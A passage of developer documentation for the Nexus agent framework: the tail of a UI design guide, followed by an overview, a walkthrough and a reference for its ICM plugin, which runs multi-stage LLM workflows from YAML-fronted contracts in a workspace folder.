await bus.call('req.request', 'req.response', payload, timeoutMs);

Outbound channel: {agentID}:nexus (engine → UI). Inbound channel: {agentID}:nexus.input (UI → engine). Envelope: { type: "event.name", payload: {...}, timestamp: "ISO" }.

7.3 Wails-bound shell services

The shell (pkg/desktop/shell.go) exposes Wails methods directly on window.go.desktop.Shell.* — these are the only places UI calls non-bus APIs:

Rule: shell services are only called from the UI layer; agents communicate with the shell via bus events, not by invoking these methods.

7.4 Settings schema → UI rendering

The shell returns a settings schema with fields like:

{
  "shell": [{ "key": "shared_data_dir", "display": "Shared data folder", "type": "path" }],
  "agents": {
    "my-agent": [
      { "key": "input_dir", "display": "Input folder", "type": "path", "required": true },
      { "key": "api_key", "display": "API key", "type": "string", "secret": true, "required": true }
    ]
  }
}

Types and their rendering:

Secrets never render a current value — just ******** placeholder when present.

7.5 Session list

Sessions are tracked per agent. The shell emits {agentID}:sessions.updated via Wails events (not through the bus bridge) when the list changes. Session metadata includes:

• id, title (from session.meta.title event), created_at, status, preview (arbitrary JSON from session.meta.preview event)

Session-list rendering uses the standard nav/list-item pattern (§5.2) with a status dot, title, timestamp, and optional preview line.

7.6 UI state persistence

Two bus events drive cross-session UI state:

• ui.state.save — UI emits with opaque { state: {...} } payload. Shell writes to ui-state.json in the engine session dir.
• ui.state.restore — Shell emits on session recall. UI rehydrates.

Designs that have non-trivial UI state (partially filled forms, scroll positions, expanded panels, active tab) should persist + rehydrate via these events. Keep the payload JSON-serializable and opaque to the shell.

8. Interaction and accessibility patterns

8.1 Keyboard

• Cmd+Enter / Ctrl+Enter — submit in chat textareas (@keydown.enter.meta, @keydown.enter.ctrl)
• Cmd+S / Ctrl+S — save in spec/timeline editors (@keydown.meta.s.prevent, @keydown.ctrl.s.prevent)
• Enter — submit in single-line inputs (hello world)
• No global shortcuts currently.

Show hints inline as text-xs opacity-30 or text-xs text-base-content/30 mt-1.

8.2 Hover reveal

Destructive or secondary in-row actions hide by default, appear on hover of the parent .group:

<div class="group ...">
  <span>Content</span>
  <button class="btn btn-ghost btn-xs btn-square opacity-0 group-hover:opacity-50 hover:!opacity-100 hover:text-error">
    <i class="fa-solid fa-xmark text-xs"></i>
  </button>
</div>

8.3 Transitions

Side panel enter/exit (left panel):

x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0 -translate-x-2"
x-transition:enter-end="opacity-100 translate-x-0"

For right-side panels, reverse the translate (translate-x-2). For vertical reveals (add-note input), use default x-transition for a simple fade/slide.

8.4 Titles and tooltips

Native title attribute is the standard tooltip. No tooltip library is used.

<button title="Refresh file list">...</button>

8.5 Required-field gating

Shell’s HasMissingRequired() returns a map of agentID → [missingKeys]. Pattern:

1. Top-of-settings banner: alert alert-warning summarizing “Required settings missing”.
2. On the offending collapse: :class="missing ? 'border-warning' : ''".
3. On the field: input-warning class + inline “Required” hint.
4. Agents with missing required settings cannot boot — nav-click routes to settings instead.

8.6 Dirty / unsaved

• Textarea-based editors track a dirty flag set on @input, cleared on @blur / save.
• Display inline text-xs text-warning with a <i class="fa-solid fa-circle text-[6px] mr-1"></i> dot.
• Show a Save button (btn btn-xs btn-primary) only when dirty.

8.7 Restart required

When a running agent has changed settings:

• Badge in section title: badge badge-warning badge-xs ml-2 “restart required”
• Restart button at bottom of section: btn btn-warning btn-sm with fa-rotate-right icon

9. Multi-agent vs single-agent — differences at a glance

When extending multi-agent: check whether the feature is in-session (both kinds of shell) or wrapper (desktop shell only). See the CLAUDE.md parity rule.

When extending single-agent: new phases should follow the existing N-ary pattern — empty state → generating state → content → edit mode → unsaved indicator.

10. Opinionated “what NOT to do” list

• No new frameworks. Alpine + Tailwind + DaisyUI is the full toolbox. No React, Vue, Svelte, jQuery, Lodash, etc.
• No light theme unless explicitly requested — dark theme is the reference experience.
• No raw gray scales. Use opacity-* on text-base-content / border-base-300 etc.
• No modals or dialogs in the absence of a strong reason. Prefer inline reveals, collapsibles, side panels, or dedicated views.
• No routing. Views switch via x-show driven by a store property.
• No animations beyond utility. DaisyUI animate-pulse + 150ms panel slides are the entire vocabulary.
• No custom icon sets. Font Awesome 6 solid free only.
• No responsive / mobile layouts. Desktop-only, min ~900×720.
• No font imports. Stick to the system/Tailwind default font stack.
• No toasts/snackbars. Errors go in alert or inline. Success is silent or a tiny inline “Copied!”.
• No component abstractions until a pattern is used three times. Inline the classes.

11. Extensibility hooks

When Claude Design proposes something new, validate against these hooks so it slots into the real system:

• Is it a bus event or a Wails-bound shell method? If it changes agent state, design around an event round-trip (request → response). If it asks the OS or shell, call a window.go.desktop.Shell.* method.
• Does it need session-recall persistence? If yes, design the UI state payload and plan on ui.state.save/ui.state.restore.
• Does it touch files? Use the shell’s file portal (input_dir, output_dir, ListFiles, PickFile). Don’t design a bespoke file picker.
• Does it share with another agent? If yes, it probably belongs in pkg/ui/ shared code, not a single app.
• Is it a multi-session concern? If yes, it only belongs in multi-agent / wrapper scopes — don’t back-port to single-agent shells that are session-scoped.

12. Reference quick-lookup

13. Glossary

ICM Workflows — Overview

Nexus ships an agent loop for file-driven multi-stage workflows: nexus.workflows.icm. The shorthand for what it does is short — a folder on disk is your workflow — but the consequences are worth a section of its own. This page makes the case for the feature and gives you the mental model needed to read the walkthrough and the plugin reference without getting lost.

What is ICM?

ICM is short for Interpretable Context Methodology (Van Clief & McDermott, arXiv:2603.16021). The methodology argues that production LLM workflows should be assembled out of small, human-reviewable contracts rather than handed off to one large, opinionated agent loop. Each step has a written brief, declared inputs, a single declared output, and validators that decide whether the step is done. The methodology is paper-shaped — the Nexus plugin gives it a runtime.

The plugin reduces the methodology to a single rule: the workflow is a folder on disk. Stages are subfolders. Contracts are markdown files with YAML frontmatter. Predicates are inline. Skills are subfolders. Artifacts land in the session directory at run time, never in the workspace.

~/work/screenplay-pipeline/
  workspace.md              # the brief — required, non-empty
  stages/
    01_outline/contract.md  # YAML frontmatter + body
    02_script/contract.md
    03_review/contract.md
  shared/skills/...         # optional reusable bundles
  scripts/...               # optional command predicates
  rubrics/...               # optional LLM-judge rubrics

That folder is the entire workflow. The plugin loads + validates the workspace at boot, derives one AgentPosture per stage, and dispatches each stage as a sub-agent through a private delegate.Runtime whenever an io.input arrives.

Why this deserves its own surface

A normal ReAct agent is excellent at exploratory work — give it a goal and some tools and let it churn. But three pressures push real workflows past what a single ReAct loop can hold:

1. Repeatability. A research pipeline that runs every Monday morning needs the same shape every time. Free-form ReAct drift makes “the same shape” hard to guarantee.
2. Reviewability. Stakeholders need to read what the agent will do before it runs, not infer it from a transcript afterward.
3. Surgical iteration. When stage 3 is wrong, you want to fix stage 3 in isolation — not re-prompt a system message that drives all 7 stages.

The nexus.workflows.icm plugin solves all three by making the workflow a literal folder you can read, diff, and ship. It also proves a deeper claim about Nexus’s design:

A non-trivial multi-stage agent system can be expressed without writing Go. Posture registration, sub-agent dispatch, schema-validated outputs, HITL gates, loop convergence, and fan-out parallelism are already in the engine — you compose them with YAML and markdown.

This is the first plugin to combine all of them. The walkthrough exists because doing so end-to-end is a worked example for everything Nexus offers, not because the ICM plugin itself is unusually complex.

Mental model

Three vocabulary boundaries decide whether the docs read clearly.

Workspace, run, session

The workspace is the source of truth for the workflow; the run directory is the source of truth for the artifacts. Edits to the workspace are authoring; edits to a run directory are tampering. Treating them as different objects is the single biggest reason the plugin’s surface stays simple.

Stage, iteration, turn, item

A stage is one folder with one contract.md. Inside a stage’s lifetime three nested loops are possible:

• Turns — the inner conversation. turns.policy: fixed | until_valid | until_human_approves. A turn is one LLM call within a single stage invocation.
• Iterations — convergence loops. loop.max_iterations: N with until predicates. The entire stage runs as a fresh invocation each iteration, with the prior iteration’s exit failures included in the next payload.
• Items — data-driven fan-out. fan_out.source: ... points at a JSON array produced by an earlier stage; the stage runs once per item, up to max_parallel concurrently.

Turns sit inside iterations, iterations sit inside the stage, and fan-out is the stage being dispatched once per item. You almost never mix all three in a single stage — but the orchestrator supports it because fan-out + loop composes cleanly (each item independently iterates).

Posture, delegate, predicate

These are reused engine concepts; ICM does not reinvent any of them.

• Posture — pkg/posture.AgentPosture from nexus.agent.postures. ICM derives one per stage at Ready(), layering operator prompt + body
  • overlay + tools + budget on top of a base posture, then registers it.
• Delegate — pkg/delegate.Runtime. The same primitive delegate plugin uses to dispatch sub-agents. ICM keeps its own private delegate.Runtime so workflow stages don’t pollute caller tool budgets.
• Predicate — the unified shape used by output.validators, loop.until, and verifier outputs. Six types: schema, regex, native, command, llm, human. The loader compiles each at boot.

If you’ve configured postures + delegate + HITL + the schema registry before, ICM should feel like wiring those four together into a single user surface.

What ICM is not

It is not a replacement for nexus.agent.react or nexus.agent.orchestrator. They solve different problems:

It is not a new abstraction over LLM providers. Every model call routes through delegate (sub-agents) or through the configured judge posture (LLM predicates). It does not mutate the workspace — artifacts live in the session. It does not auto-discover skills from nexus.skills.scan_paths — skills live under the workspace and are loaded only when a stage’s inputs.skills references them.

What you get out of the box

The plugin is fully implemented today. The walkthrough exercises everything in this list:

• Workspace + contract loader with aggregated validation errors (boot once to see every problem, fix in one pass).
• One derived AgentPosture per stage, registered before the engine finishes boot. Tools, model role, budget, and operator prompt are baked in.
• Stage-level plan.created + plan.progress surface so generic UIs render the workflow without ICM-specific knowledge, plus a richer icm.* event family for iteration / turn / item detail.
• Six predicate types with four shipped native handlers (word_count_under, word_count_over, contains_required_ids, json_path_exists).
• Loop convergence with on_exhausted: human_gate | error and a configurable restart ceiling.
• Fan-out with optional parallelism, per-item folders, and an aggregate artifact downstream stages can reference.
• Per-workspace skill resolution (stages/<NN>/skills/<name> wins over shared/skills/<name>) plus an LLM-facing read_skill_reference tool that surfaces only when a stage actually uses skills.
• Multi-instance support via nexus.workflows.icm/<suffix> so two workspaces can coexist in one engine.

Authoring tools

You do not need to write contracts by hand. The repo ships a Claude Code skill that interviews you about the workflow you want, validates each answer against the loader’s rules, and writes a workspace that loads on the first try:

• .claude/skills/icm-workspace-builder/SKILL.md — invoke with /icm-workspace-builder once the skills plugin is configured to scan .claude/skills/. The skill enforces the same rules the loader does (folder regex, reserved 00_input, predicate args, fan-out sources).

The walkthrough is hand-authored so you can read every file; the skill is the on-ramp for everything else.

Where to go next

• End-to-end walkthrough — build a real workspace from an empty folder, run it, watch the events, inspect the artifacts.
• Plugin reference — every field on every block, every event, every troubleshooting case.
• Configuration reference — every plugin config key with defaults.
• Postures — the base postures stages inherit from.
• Sub-agent delegation — the dispatch primitive ICM stands on.
• HITL — where every human gate is routed.

ICM Workflows — End-to-End Walkthrough

This page builds a working ICM workspace from an empty folder, runs it through Nexus, and shows you exactly what to expect at each step: the events that fire, the files that land on disk, the human gates that pause the run, and the failure modes that bite first-time authors.

The example is a two-stage research brief pipeline. Stage 1 produces an outline from a topic; stage 2 expands the outline into a brief, looping until the brief passes a word-count rubric. It is deliberately small enough to fit on one screen and deliberately rich enough to exercise loops, predicates, human gates, and the full event surface.

By the end of this walkthrough you will have:

• A working workspace under ~/work/research-brief/.
• A Nexus config that wires posture + delegate + HITL + ICM.
• A bin/nexus session that runs the workflow end-to-end against a real LLM provider.
• Familiarity with the exact icm.* events that drive any UI you build on top.

If you only want to read the surface area, the overview is the conceptual map and the plugin reference is the field-by-field manual. This page sits between them.

Prerequisites

You need:

1. A built bin/nexus. From the repo root: make build.
2. An LLM provider API key in env or a .env file. The walkthrough uses ANTHROPIC_API_KEY; switch to OPENAI_API_KEY or GEMINI_API_KEY if you prefer — the workspace itself is provider-agnostic because every stage names a model_role, not a raw model.
3. A place to put the workspace. The walkthrough uses ~/work/research-brief/; adjust paths as needed.

You do not need an existing posture library. Step 1 below ships a minimal two-posture file you can copy into place.

Step 1 — Provision postures

ICM derives one posture per stage at boot, but each derived posture inherits from a base posture registered with nexus.agent.postures. Wire a minimal two-posture library so the workflow has somewhere to stand:

mkdir -p ~/.nexus/postures

~/.nexus/postures/writer_base.yaml:

name: writer_base
description: Long-form writing posture for ICM stages.
system_prompt: |
  You are a writer. Follow the stage contract exactly. Produce one
  artifact in the format the contract specifies. Do not add
  commentary outside the artifact.
allowed_tools: []
model:
  model_role: writer
default_budget:
  timeout: 180s
  max_tokens: 8000

~/.nexus/postures/judge_basic.yaml:

name: judge_basic
description: JSON-verdict judge for ICM `type: llm` predicates.
system_prompt: |
  You judge an artifact against a rubric and return a JSON verdict.
  Output only JSON conforming to the icm.judge.response schema.
allowed_tools: []
model:
  model_role: judge
default_budget:
  timeout: 60s
  max_tokens: 2000

The names matter — the workspace references them by name. The model_role fields route to whatever your core.models config maps writer and judge to. A single-provider setup with one model is fine; map both roles to the same model entry.

Step 2 — Author the workspace

Create the workspace folder. Every path inside is required unless flagged optional.

mkdir -p ~/work/research-brief/stages/01_outline
mkdir -p ~/work/research-brief/stages/02_brief
mkdir -p ~/work/research-brief/rubrics

Workspace brief

~/work/research-brief/workspace.md:

# Research Brief Pipeline

A two-stage research pipeline. Stage 1 reads a topic and produces a
five-point outline. Stage 2 expands the outline into a brief between
600 and 1200 words. The brief loops until a writer-judge agrees it
covers every outline point.

Required, non-empty. Shows up at the top of every operator prompt so the stage agent knows where it sits in the larger workflow.

Workspace defaults

~/work/research-brief/icm.yaml is optional but useful for shared defaults:

defaults:
  agent:
    posture: writer_base
    model_role: writer
  judge_posture: judge_basic

Anything a stage doesn’t override falls back here, then to plugin defaults.

Stage 1 — outline

~/work/research-brief/stages/01_outline/contract.md:

---
display: Outline the brief in five bullets
turns:
  policy: fixed
  max: 1
human_gate: end
output:
  format: text
  filename: outline.md
  validators:
    - type: native
      handler: contains_required_ids
      args:
        ids: ["1.", "2.", "3.", "4.", "5."]
inputs:
  artifacts:
    - 00_input/topic.txt
---

Read the topic in `<artifact path="00_input/topic.txt"/>`. Produce a
markdown outline with exactly five numbered points. Each point is one
sentence. No prose around the list.

What this does:

• turns.policy: fixed, max: 1 — one LLM call, no retry.
• human_gate: end — pause after the artifact is written so the human can approve before stage 2 starts.
• contains_required_ids validator — refuses any output that drops one of the five numbered points. Without until_valid semantics this just surfaces as icm.predicate.failed; we keep it for visibility.
• inputs.artifacts: 00_input/topic.txt — the reserved 00_input namespace is where io.input content lands.

Stage 2 — brief

~/work/research-brief/stages/02_brief/contract.md:

---
display: Expand the outline into a 600-1200 word brief
turns:
  policy: until_valid
  max: 3
human_gate: end
output:
  format: text
  filename: brief.md
  validators:
    - type: native
      handler: word_count_over
      args:
        min_words: 600
    - type: native
      handler: word_count_under
      args:
        max_words: 1200
loop:
  max_iterations: 3
  until:
    - type: llm
      rubric: rubrics/coverage.md
  on_exhausted: human_gate
inputs:
  artifacts:
    - 01_outline/outline.md
agent:
  budget:
    max_tokens: 4000
---

Expand the outline in `<artifact path="01_outline/outline.md"/>` into a
research brief between 600 and 1200 words. Cover every outline point.
Use a brief introduction, one paragraph per point, and a one-sentence
conclusion. Markdown allowed.

This stage exercises three loops at once:

• Turns — until_valid retries up to 3 times within an iteration if the word-count validators fail. The retry payload includes the prior attempt’s failure feedback.
• Iterations — loop.max_iterations: 3 reruns the entire stage if the coverage.md LLM rubric is not satisfied. Each iteration writes its artifact to 02_brief/iter_NN/brief.md.
• Human gate — human_gate: end pauses after the loop exits so the human can approve, restart, or fail.

Rubric

~/work/research-brief/rubrics/coverage.md:

The brief passes coverage when every numbered point in the outline is
addressed in its own paragraph. A point that is mentioned but not
expanded is a failure. Return JSON only.

The judge posture (judge_basic) sees this rubric plus the candidate artifact and must return JSON conforming to the baked-in icm.judge.response schema (verdict + score + feedback).

Step 3 — Wire the Nexus config

~/work/research-brief.yaml:

core:
  models:
    default: writer
    writer:
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 8192
    judge:
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 2048

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.postures
    - nexus.agent.delegate
    - nexus.control.hitl
    - nexus.memory.capped
    - nexus.workflows.icm

  nexus.agent.postures:
    scan_dirs:
      - ~/.nexus/postures

  nexus.workflows.icm:
    workspace: ~/work/research-brief
    default_judge_posture: judge_basic
    default_workflow_posture: writer_base

Note what’s not here: no nexus.agent.react, no nexus.agent.orchestrator, no separate planner. ICM is itself the agent loop — when io.input arrives it owns the conversation until the run completes.

Two config details worth double-checking before you run:

• The provider: value in each core.models entry takes the full plugin ID (nexus.llm.anthropic), not a short name like anthropic. Wrong provider IDs surface at runtime as “delegate status error: no LLM response (provider not active for this role?)”.
• Every role a posture references must be defined. The writer_base posture above declares model_role: writer, and judge_basic declares model_role: judge, so core.models must define both.

Step 4 — Run it

Start the TUI:

bin/nexus -config ~/work/research-brief.yaml

At the prompt, type a topic — the economics of mechanical keyboards, say — and hit enter.

You will see this sequence of events. The TUI renders the plan progress inline; richer UIs subscribe to the typed events documented in the plugin reference.

io.input                            { content: "the economics of mechanical keyboards" }
plan.created                        { steps: 2 (01_outline, 02_brief) }
icm.run.started                     { run_id: r_<id>, stages: 2 }
plan.progress                       { step: 01_outline, status: active }
icm.stage.started                   { stage_id: 01_outline, order: 1 }
llm.request → llm.response          (stage 1 turn 1)
icm.turn                            { stage_id: 01_outline, turn: 1 }
hitl.requested                      { action: icm.stage.end, stage_id: 01_outline }

The run pauses at hitl.requested. The TUI surfaces a prompt with three choices: continue, restart this stage, abort the run. Press continue.

hitl.responded                      { action: icm.stage.end, choice: continue }
plan.progress                       { step: 01_outline, status: completed }
icm.stage.completed                 { stage_id: 01_outline, artifact_path: ... }
plan.progress                       { step: 02_brief, status: active }
icm.stage.started                   { stage_id: 02_brief, order: 2 }
icm.stage.iteration                 { iteration: 1, max: 3 }
llm.request → llm.response          (stage 2 iter 1 turn 1)

If stage 2’s first attempt is under 600 words, the until_valid retry fires inside the same iteration. If three turns can’t satisfy the word count, the iteration writes its best attempt to 02_brief/iter_01/brief.md and the LLM judge runs against the coverage.md rubric. If the judge says no, iteration 2 starts.

What if the loop exhausts?

Likely on the first run. The coverage.md rubric in this walkthrough is deliberately strict — “every numbered point in the outline is addressed in its own paragraph” — and small judge models often read that too literally and reject an otherwise fine brief. When the loop hits loop.max_iterations: 3 without converging, on_exhausted: human_gate fires a HITL prompt:

Loop on stage Expand the outline... did not converge after 3 iterations.

  1. Accept handoff   — take the last iteration's brief as the artifact
  2. Restart loop     — wipe iter_*/, run the whole loop again
  3. Reject           — fail the stage and halt the run

Pick Accept handoff if the actual brief reads well. The judge being picky shouldn’t gate you. Before deciding, inspect the per-iteration artifacts and the judge’s verdicts on disk:

ls ~/.nexus/sessions/*/plugins/nexus.workflows.icm/r_*/02_brief/iter_*/
cat ~/.nexus/sessions/*/plugins/nexus.workflows.icm/r_*/02_brief/iter_03/brief.md.icm.json

The .icm.json sidecar carries each iteration’s verdict + feedback so you can tell whether the brief is genuinely weak or the rubric is unreasonable. If you keep hitting this every run, three knobs (in ascending effort):

1. Loosen the rubric in rubrics/coverage.md — “each outline point is addressed somewhere in the body; interleaved coverage is fine.”
2. Use a stronger judge — point the judge model_role at a more capable model. Judge calls are single-shot, so cost impact is small.
3. Drop the LLM rubric from loop.until and keep only the word-count native validators. Move the LLM check to a verifiers/ entry instead — failures get logged but don’t loop.

When the loop exits — convergent or exhausted-then-accepted — human_gate: end fires again. Approve, and:

icm.stage.completed                 { stage_id: 02_brief, iterations_run: 2, convergence_failed: false }
icm.run.completed                   { stages_run: 2, elapsed_seconds: 47 }

Step 5 — Inspect the run

Every artifact, every iteration, and every per-artifact sidecar lives in the engine session under <session>/plugins/nexus.workflows.icm/<runID>/:

~/.nexus/sessions/<sid>/plugins/nexus.workflows.icm/r_<runID>/
  .icm/
    run.json              # workspace path, started at, plan
    state.json            # per-stage progress
  00_input/
    topic.txt             # what you typed
  01_outline/
    outline.md
    outline.md.icm.json   # sidecar: writer + validator results
  02_brief/
    iter_01/
      brief.md
      brief.md.icm.json
    iter_02/
      brief.md
      brief.md.icm.json
    brief.md              # aggregate (last iteration after convergence)
    brief.md.icm.json

The sidecar files (.icm.json) record which posture wrote the artifact and which validators passed or failed. They are how downstream tooling can answer “why did stage 2 take two iterations?” without re-reading the artifact.

You can re-run the workflow on a different topic by sending another io.input. ICM creates a fresh r_<runID> directory; prior runs are untouched.

Step 6 — Watch a failure

Edit ~/work/research-brief/stages/01_outline/contract.md and change filename: outline.md to filename: outline/v1.md. Restart Nexus.

workspace load failed (1 errors):
  stages/01_outline/contract.md: output.filename must not contain path
  separators (got "outline/v1.md")

ICM aggregates every validation error into one message at boot so you can fix all of them in a single pass instead of restart-fix-restart cycles. Revert the change and ICM boots cleanly.

Other failure modes worth provoking once for muscle memory:

• Duplicate stage prefix (01_outline + 01_summary) — boot fails with “duplicate stage prefix 01”.
• A type: llm predicate with no default_judge_posture configured — runtime fails the predicate with “default_judge_posture is not configured”.
• An inputs.artifacts ref to a later stage (02_brief/... inside 01_outline/contract.md) — boot fails at load.

Each failure surfaces with the workspace-relative path + line number.

Step 7 — Iterate the workspace

The workflow you just built is the floor. Everything else ICM offers is incremental:

• Add a fan-out stage. Replace the brief stage’s monolithic output with one paragraph per outline point. Produce a topics.json from stage 1 and fan_out.source: 01_outline/topics.json from stage 2.
• Add a type: command predicate. Drop a scripts/lint_brief.sh into the workspace, mark it executable, and reference it from stage 2’s validators. The script reads the artifact on stdin and exits 0/non-0.
• Add skills. Put a shared/skills/house_voice/SKILL.md under the workspace and reference it from stages/02_brief/contract.md via inputs.skills: [house_voice]. The skill body inlines into the grounding; references load on demand via the read_skill_reference tool.
• Add verifiers. Move the rubric check out of stage 2’s loop and into a reusable verifiers/coverage.md. Stages that need coverage reference it via top-level verifiers: [coverage].

Each is one or two contract edits. The walkthrough deliberately stops short of all of them so the on-ramp stays short; the plugin reference covers each in detail.

Using the workspace builder skill

If hand-authoring contracts feels tedious, the .claude/skills/icm-workspace-builder/SKILL.md skill interviews you for the workflow shape and writes the workspace for you. Invoke it via the configured Claude Code skill surface — the skill validates each answer against the same loader rules above and produces a workspace that boots cleanly on the first try.

What you proved

• A non-trivial agent workflow — two stages, loop convergence, an LLM judge, native validators, a human gate, and a 00_input initial artifact — fit in five files under 100 lines.
• The same workflow runs in any IO surface Nexus supports (TUI, browser, oneshot, wails) without a code change. Adding a new IO means activating a new plugin, not modifying the workspace.
• The icm.* event surface plus the engine-generic plan.* events give any UI everything it needs to render workflow progress, including fan-out items and loop iterations.
• The workspace is source-control-friendly — every change to the workflow is a markdown / YAML diff you can review on a PR.

Where to go next

• Overview — the rationale, the mental model, the full list of orthogonal features.
• Plugin reference — every contract field, predicate type, event payload, and troubleshooting case.
• Configuration reference — every plugin config key with defaults.
• Postures — the base postures stages inherit from.
• HITL — how human gates route.

nexus.workflows.icm

File-driven multi-stage workflow runner. A workspace is a folder on disk: each stage is a subfolder with a YAML-fronted contract, optional grounding, optional skills, and a declared output. The plugin loads + validates the workspace at boot, registers one AgentPosture per stage, and dispatches each stage as a sub-agent via a private delegate.Runtime whenever an io.input arrives.

Source: plugins/workflows/icm/. New to ICM? Start with the overview for the rationale + mental model, then follow the end-to-end walkthrough to build a workspace from scratch. This page is the field-by-field reference. Configuration table: configuration reference.

Overview

ICM (Interpretable Context Methodology, Van Clief & McDermott, arXiv:2603.16021) treats an LLM workflow as a sequence of small, human-reviewable contracts rather than one big agent loop. The Nexus implementation reduces a workspace to disk structure: the loader parses contracts, compiles regex + gojq + JSON-schema at load time, and the orchestrator dispatches stages strictly in folder-numeric order.

What the plugin does:

• Resolves posture.registry (provided by nexus.agent.postures) at boot.
• Loads + validates the workspace; aggregates errors so the user can fix in one pass.
• Derives one AgentPosture per stage and per verifier; tools, model role, budget, and operator prompt are baked in at registration.
• Subscribes to io.input. Each input begins a fresh run with its own <runID> directory under the plugin’s data dir.
• Dispatches stages as sub-agents through a private delegate.Runtime. Stages never talk to one another — they read declared inputs and write declared outputs through the session helper.
• Emits a stage-level plan.created + plan.progress surface plus a richer icm.* event family for iteration / turn / fan-out detail.
• Routes every human checkpoint through hitl.requested; cancellation is surfaced via hitl.cancel.

What the plugin does NOT do:

• It does not directly call an LLM provider. Every model call routes through delegate (sub-agents) or through the configured judge posture (LLM predicates).
• It does not mutate the workspace. Artifacts live in the session directory.
• It does not auto-discover skills. Skills are loaded from the stage-local skills/ and shared/skills/ folders inside the workspace.

Quick start

1. Add the plugin to plugins.active and point it at a workspace.

plugins:
  active:
    - nexus.agent.postures
    - nexus.control.hitl
    - nexus.workflows.icm

  nexus.workflows.icm:
    workspace: ~/work/screenplay-pipeline
    default_judge_posture: judge_strict
    default_workflow_posture: workflow_base

2. Scaffold the workspace. Below is a working three-stage screenplay pipeline. Every file shown is necessary; everything else is optional.

~/work/screenplay-pipeline/
  workspace.md
  stages/
    01_outline/
      contract.md
    02_script/
      contract.md
    03_review/
      contract.md

workspace.md — required, non-empty. Describes the workflow at the highest level. Surfaces to the operator prompt and to anyone reading the folder.

# Screenplay Pipeline

A three-stage pipeline that converts a one-line premise into a short-form
screenplay: outline, draft, peer review. Each stage hands a single artifact
to the next; humans gate the start and end of every stage.

stages/01_outline/contract.md — YAML frontmatter then process body. The body is rendered into the operator system prompt for this stage.

---
display: Outline a three-act structure
turns:
  policy: fixed
  max: 1
human_gate: end
output:
  format: text
  filename: outline.md
inputs:
  artifacts:
    - 00_input/premise.txt
agent:
  model_role: writer
  budget:
    max_tokens: 4000
---

Read the premise in `<artifact path="00_input/premise.txt"/>`. Write a
three-act outline with beat counts per act. No prose. Markdown headings
allowed.

stages/02_script/contract.md — consumes the outline; loops up to three times until the validator passes.

---
display: Draft the screenplay
turns:
  policy: until_valid
  max: 3
human_gate: end
output:
  format: text
  filename: script.md
  validators:
    - type: native
      handler: word_count_over
      args: { min_words: 800 }
    - type: native
      handler: word_count_under
      args: { max_words: 2400 }
inputs:
  artifacts:
    - 01_outline/outline.md
agent:
  model_role: writer
  budget:
    max_tokens: 8000
---

Expand the outline in `<artifact path="01_outline/outline.md"/>` into a
screenplay between 800 and 2400 words. Use industry-standard formatting
(INT./EXT., character names in caps before dialogue).

stages/03_review/contract.md — judges the script with an LLM rubric.

---
display: Peer review the screenplay
turns:
  policy: fixed
  max: 1
human_gate: none
output:
  format: text
  filename: review.md
  validators:
    - type: llm
      rubric: rubrics/review_quality.md
      model: judge_strict
inputs:
  artifacts:
    - 02_script/script.md
agent:
  model_role: reviewer
---

Read the script in `<artifact path="02_script/script.md"/>`. Produce a
review covering structure, character voice, dialogue, and pacing. Be
specific; cite scene numbers.

3. Start Nexus. Send the initial premise via io.input (the engine writes it to <runID>/00_input/premise.txt). ICM creates the run, dispatches stage 01, gates at its end via HITL, then continues.

Workspace layout

The workspace is the source of truth for the workflow; artifacts are the source of truth for the run. They live in different directories.

<workspace>/
  icm.yaml                  optional — layer name overrides + defaults
  operator.md               optional — Layer 0 operator prompt template
  operator.overlay.md       optional — appended to operator body
  workspace.md              required — high-level workflow description
  stages/
    01_<slug>/
      contract.md           required per stage
      grounding/            optional — reference files inline at dispatch
      skills/<name>/        optional — stage-local skills
    02_<slug>/...
  shared/
    grounding/              optional — cross-stage reference files
    skills/<name>/          optional — workspace-wide skills
  schemas/                  optional — JSON schemas referenced from contracts
  scripts/                  optional — command-predicate executables
  rubrics/                  optional — LLM-predicate rubric files
  verifiers/                optional — verifier stage definitions
  inputs/                   optional — initial-run input fixtures

Folder-name rules enforced by the loader:

• Stage folders match ^\d+_[a-z0-9_]+$. Execution order is the numeric prefix, sorted numerically (so 9_x runs before 10_x).
• 00_input is reserved — it names the synthetic input stage in artifact refs. Declaring a stage folder named 00_input is a load error.
• Duplicate numeric prefixes (05_foo + 05_bar) are rejected: execution order would be ambiguous.
• A stage folder containing an artifacts/ subdirectory is rejected. Artifacts live in the session, not the workspace.

icm.yaml

icm.yaml is optional. When present it overrides any subset of the layer filenames and supplies workspace-level defaults that stages inherit unless they override.

# All sections are optional.
layer_names:
  operator: operator.md       # default
  workspace: workspace.md     # default
  contract: contract.md       # default
  grounding: grounding        # default (folder name)

defaults:
  turn_policy: fixed          # fixed | until_valid | until_human_approves
  human_gate: none            # none | start | end | both
  on_error: halt              # halt | retry | human_gate
  judge_posture: judge_basic  # used for type: llm predicates with no `model:`
  agent:
    posture: workflow_base    # base posture each stage inherits
    model_role: writer
    tools: [read_file]
    budget:
      timeout_seconds: 120
      max_tokens: 8000
      max_tool_calls: 16
    max_recursion_depth: 3

operator:
  overlay: |
    Always cite section numbers when referencing scripts.

The judge posture and base workflow posture can also be configured at the plugin level (default_judge_posture, default_workflow_posture). The plugin-level keys win when both are set.

operator.md and operator.overlay.md are rendered once per stage, at posture-registration time — not on every turn — as a Go text/template against OperatorTemplateCtx, which exposes .Workspace, .Stage, and .Context: the session’s current general-namespace (non-_-prefixed) tags, usable in the template as {{ .Context.<key> }}. Because it renders once, .Context only reflects the tags set by the time the workspace loads — a tag written mid-run needs the per-turn <session_context> block described in XML payload reference, not operator.md, to reach a stage that has already started. See Session Tags for the reserved-prefix rule .Context shares with every other consumer of session tags.

Stage contracts

Each stage is a single file: contract.md. It is YAML frontmatter (between --- lines) followed by a markdown body. The body is the stage’s role instructions — it is rendered into the operator system prompt at dispatch time. Verifiers may be a single .md file directly under verifiers/ with the same shape.

Frontmatter

Output spec

output declares the file the stage writes and any validators that run against it. Validators that fail under turns.policy: until_valid trigger a retry; under any other policy they surface as icm.predicate.failed and (depending on on_error) may halt the run.

output:
  format: text                  # text (default) | json
  persist: file_ref             # file_ref (default) | context | both
  filename: outline.md          # required; no path separators
  schema: schemas/outline.json  # required when format: json
  validators:
    - type: regex
      pattern: '^# '
      anchor: first_line
      message: "Outline must begin with an H1."

